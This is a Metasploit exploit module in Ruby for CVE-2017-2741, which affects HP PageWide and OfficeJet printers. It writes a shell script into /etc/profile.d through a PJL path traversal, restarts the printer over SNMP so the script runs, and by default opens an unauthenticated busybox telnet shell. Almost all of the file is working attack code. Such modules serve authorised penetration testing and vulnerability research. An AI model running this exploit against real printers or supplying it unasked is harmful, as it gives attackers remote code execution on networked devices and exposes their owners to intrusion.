##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "rex/proto/pjl"

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Jetdirect Path Traversal Arbitrary Code Execution',
      'Description'    => %q{
        The module exploits a path traversal via Jetdirect to gain arbitrary code execution by
        writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer
        is restarted using SNMP. Impacted printers:
        HP PageWide Managed MFP P57750dw
        HP PageWide Managed P55250dw
        HP PageWide Pro MFP 577z
        HP PageWide Pro 552dw
        HP PageWide Pro MFP 577dw
        HP PageWide Pro MFP 477dw
        HP PageWide Pro 452dw
        HP PageWide Pro MFP 477dn
        HP PageWide Pro 452dn
        HP PageWide MFP 377dw
        HP PageWide 352dw
        HP OfficeJet Pro 8730 All-in-One Printer
        HP OfficeJet Pro 8740 All-in-One Printer
        HP OfficeJet Pro 8210 Printer
        HP OfficeJet Pro 8216 Printer
        HP OfficeJet Pro 8218 Printer

        Please read the module documentation regarding the possibility for leaving an
        unauthenticated telnetd service running as a side effect of this exploit.
      },
      'Author'         => [
        'Jacob Baines', # Python PoC
        'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-2741' ],
          [ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
          [ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]
        ],
      'Targets'        => [
        ['Unix (In-Memory)',
          'Platform'   => 'unix',
          'Arch'       => ARCH_CMD,
          'Payload'    => {
            'Compat' => {
              'PayloadType' => 'cmd'
            }
          },
        ]
      ],
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 05 2017',
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'  => 'cmd/unix/bind_busybox_telnetd',
        'WfsDelay' => 180
      }
    ))

    register_options(
      [
        Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
        OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
      ]
    )
  end

  def execute_command(cmd, opts = {})
    rpath = '0:/../../rw/var/etc/profile.d/'
    stager_script_name = opts[:stager_script_name]
    cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"

    begin
      # use PJL to write command stager
      print_status("Connecting to port #{rport}...")

      pjl = Rex::Proto::PJL::Client.new(sock)
      pjl.begin_job

      pjl.fsinit(rpath[0..1])

      print_status("Attempting to write command stager...")
      rpath = "#{rpath}#{stager_script_name}"
      if pjl.fsdownload(cmd, rpath, is_file: false)
        print_good("Successfully wrote command stager to #{rpath}")
      else
        print_error("Failed to write command stager to #{rpath}")
        return
      end

      # verify command stager exists
      unless pjl.fsquery(rpath)
        print_error("Command stager does not exist at #{rpath}; aborting...")
        return
      end

      pjl.end_job

    rescue Rex::ConnectionError
      print_error("Connection Refused")
      raise
    end
  end

  def restart_printer
    pjl_port = datastore['RPORT']
    snmp_port = datastore['SNMPPORT']
    community = datastore['COMMUNITY']
    # Printer MIB prtGeneralReset object identifier (numeric notation)
    prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
    # prtGeneralReset powerCycleReset(4) value
    power_cycle_reset = 4

    begin
      # TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.
      datastore['RPORT'] = snmp_port
      print_status("Connecting to SNMP port #{rport}...")
      snmp = connect_snmp

      # get value of Printer MIB prtGeneralReset
      reset_value = snmp.get_value(prt_general_reset)
      reset_value = "''" if reset_value.is_a?(SNMP::Null)
      print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")

      # set value of Printer MIB prtGeneralReset to powerCycleReset(4)
      print_status("Attempting to restart printer via SNMP...")
      varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))
      response = snmp.set(varbind)

      if response.error_status == :noError
        print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")

        # get value of Printer MIB prtGeneralReset
        reset_value = snmp.get_value(prt_general_reset)
        reset_value = "''" if reset_value.is_a?(SNMP::Null)
        print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
        print_status("Printer restarting...")

      else
        print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
      end

    rescue SNMP::RequestTimeout
      print_error("SNMP request timeout with community '#{community}'")
      raise
    rescue SNMP::UnsupportedVersion
      print_error("Unsupported SNMP version specified; use '1' or '2c'")
      raise
    rescue Rex::ConnectionError
      print_error("Connection Refused")
      raise
    ensure
      # restore original rport value
      datastore['RPORT'] = pjl_port
    end
  end

  def exploit
    begin
      opts = {
        stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
      }

      print_status("Exploiting...")
      connect
      if target.name =~ /Unix/
        execute_command(payload.encoded, opts)
      else
        execute_cmdstager(opts)
      end
      restart_printer

      return
    ensure
      disconnect
    end
  end

end